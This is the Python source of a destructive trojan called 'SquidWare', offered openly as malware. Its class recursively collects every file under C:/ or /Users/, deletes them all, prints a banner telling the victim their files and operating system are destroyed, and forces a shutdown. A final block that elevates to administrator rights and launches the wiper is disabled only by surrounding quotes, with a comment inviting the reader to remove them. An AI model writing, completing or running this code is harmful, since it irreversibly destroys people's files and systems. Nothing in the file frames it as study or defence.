import os, sys, ctypes, threading, time
class MalWare:
    def __init__(self):
        self.dirlist = []
        self.file_list = []
        self.deleter = threading.Thread(target=self.del_files)
        self.deleter.start()
    def get_file_name(self):
        return sys.argv[0].replace('/',' ').replace("\\"," ").split()[len(sys.argv[0].replace('/',' ').replace("\\"," ").split())-1]
    def get_filelist(self):
        filelist = []
        try:
            for i in os.listdir():
                if "." in i:
                    filelist.append(os.path.join(os.getcwd(), i))
        except:
            pass
        return filelist
    def get_dir_list(self):
        dirlist = []
        try:
            for i in os.listdir():
                if "." not in i:
                    dirlist.append(os.path.join(os.getcwd(), i))
        except:
            pass
        return dirlist
    def get_files(self):
        if sys.platform == "win32":
            os.chdir("C:/")
        else:
            os.chdir("/Users/")
        self.dirlist.extend(self.get_dir_list())
        self.file_list.extend(self.get_filelist())
        for i in self.dirlist:
            try:
                os.chdir(i)
                self.file_list.extend(self.get_filelist())
                self.dirlist.extend(self.get_dir_list())
            except:
                pass
    def del_files(self):
        self.get_files()
        for i in self.file_list:
            try:
                os.remove(i)
            except:
                pass
        os.system("cls")
        self.display_warning()
        time.sleep(2)
        print("\n[+] Shutting Down Computer in 3 seconds......... Say Goodbye!")
        time.sleep(3)
        os.system("shutdown /s /t 1")
    def display_warning(self):
        print(f"""
===============================================================================================================================        
 __     __         _             ____                     _____                                          _              _ _ 
 \ \   / /        ( )           |  _ \                   / ____|                                        (_)            | | |
  \ \_/ /__  _   _|/__   _____  | |_) | ___  ___ _ __   | |     ___  _ __ ___  _ __  _ __ ___  _ __ ___  _ ___  ___  __| | |
   \   / _ \| | | | \ \ / / _ \ |  _ < / _ \/ _ \\ '_ \  | |    / _ \| '_ ` _ \| '_ \| '__/ _ \| '_ ` _ \| / __|/ _ \/ _` | |
    | | (_) | |_| |  \ V /  __/ | |_) |  __/  __/ | | | | |___| (_) | | | | | | |_) | | | (_) | | | | | | \__ \  __/ (_| |_|
    |_|\___/ \__,_|   \_/ \___| |____/ \___|\___|_| |_|  \_____\___/|_| |_| |_| .__/|_|  \___/|_| |_| |_|_|___/\___|\__,_(_)
                                                                              | |                                           
                                                                              |_|                                           
===============================================================================================================================           

[+] You are a Victim of the SquidWare Trojan!
[+] All of your files are being deleted.
[+] Your Operating System has also been destroyed, and it will not Boot when you restart the computer again.

[+] Thats too bad :( .""")
"""
#Get rid of the quotes if you have gone insane.

try:
    isadmin = ctypes.windll.shell32.IsUserAnAdmin()
except:
    isadmin = False
if isadmin:
    e = MalWare()
else:
    exec_dir = sys.argv[0]
    params = f'"{exec_dir}"'
    ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, params, None, 1)
"""